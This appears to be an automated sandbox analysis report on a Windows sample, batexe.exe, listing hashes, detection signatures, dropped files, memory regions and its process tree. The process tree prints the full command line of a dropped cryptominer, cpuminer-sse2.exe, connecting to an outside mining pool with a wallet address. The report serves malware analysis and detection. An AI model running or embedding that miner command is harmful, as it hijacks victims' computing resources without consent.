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Analysis

  • max time kernel
    293s
  • max time network
    297s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-ja
  • resource tags

    arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    20/02/2024, 18:51

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3172
    • C:\Users\Admin\AppData\Local\Temp\9105.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\9105.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9105.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\92CA.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:376
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1404

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\9105.tmp\b2e.exe

    Filesize

    6.7MB

    MD5

    a296438025ae94120436cab09301b4a3

    SHA1

    54ffe29efc1d59a5a73d64d4c8ffd2c34e008638

    SHA256

    4861a1268c36cfe233aedaf9a8e42e2bbb928a94cf1217c1b9e5bed31fddf074

    SHA512

    2c60e6a72eeecc0a45e13e2ada9e1974407f7bdc34b7832b28341c9a8bbb11e9d7a798212cc83fa1eda272e203de6f1123222f15a23051c294dc1403591b7366

  • C:\Users\Admin\AppData\Local\Temp\9105.tmp\b2e.exe

    Filesize

    6.9MB

    MD5

    b88f471b218ff2346cc8e9a4b237c966

    SHA1

    5a543b973946c2209b646ea0e236032b7e9df671

    SHA256

    1190282bc62a325858f6e21cd4506cf014a3e438ff060a1421edff7e575caa8e

    SHA512

    835a8e56e875f9237644517473ff28a17fb9fec9cd3d9008045e4a632a095a5af55275ce3dd1f8a7063528bec49beba0ca25c93c74b7046925c8d704d27c5c74

  • C:\Users\Admin\AppData\Local\Temp\92CA.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    3.5MB

    MD5

    4313f1f35b85c869d8bf10bc7acd327a

    SHA1

    ff59878f18f03f50d82a684c6bf3d38a07611c9a

    SHA256

    982fc761c38a9c436ddbb0b2a9f85c701f2692ee0ed1dd8ae57ca51fa0a7f738

    SHA512

    24a75e2e744406d8a88b4211fd711c6fc499c1e11a6d65bb63ad3baac2330d59a1d91d9b4a315c558ef3b34bae40e125b760e36d6ce156c1539351769f9a8c52

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.9MB

    MD5

    ac3643def1d8741f13febec7ed5ecaff

    SHA1

    8a082752a12ec278ce35717e81e43e75bd255af6

    SHA256

    60e5584f7491353eb0ed196a48ea3d7247865e25e61bd28214603567b8a0a488

    SHA512

    a97e58cb6fb8951aef59b8123350a95de5a6d2dba1b64e9bbf726f549e90286bb364ef7de893583fdcba1fdb79951032df47768e8957994a0373fa35c5251f4e

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.7MB

    MD5

    9751c5fcc05375508894a0ac2ce0068a

    SHA1

    1d702b08f2802740aa0446c0be94752580a08a9c

    SHA256

    6211f2603dc815590fcb35d45e0dab8b9f41beffaab77cd593a4accab24e40e5

    SHA512

    cdaaf6091e06ae2e2b75e0b84df6719c9fd4243bf0218815097615c122d2634143001760e8bf01f66716dc49383ecc87bdb773bdba92d90757ec8dc2f51b8b1d

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1404-43-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1404-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1404-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1404-42-0x0000000057CA0000-0x0000000057D38000-memory.dmp

    Filesize

    608KB

  • memory/1404-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1404-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/1404-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

    Filesize

    24.7MB

  • memory/1404-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1404-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1404-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1404-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1404-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1404-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1404-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1404-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2780-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2780-4-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3172-5-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB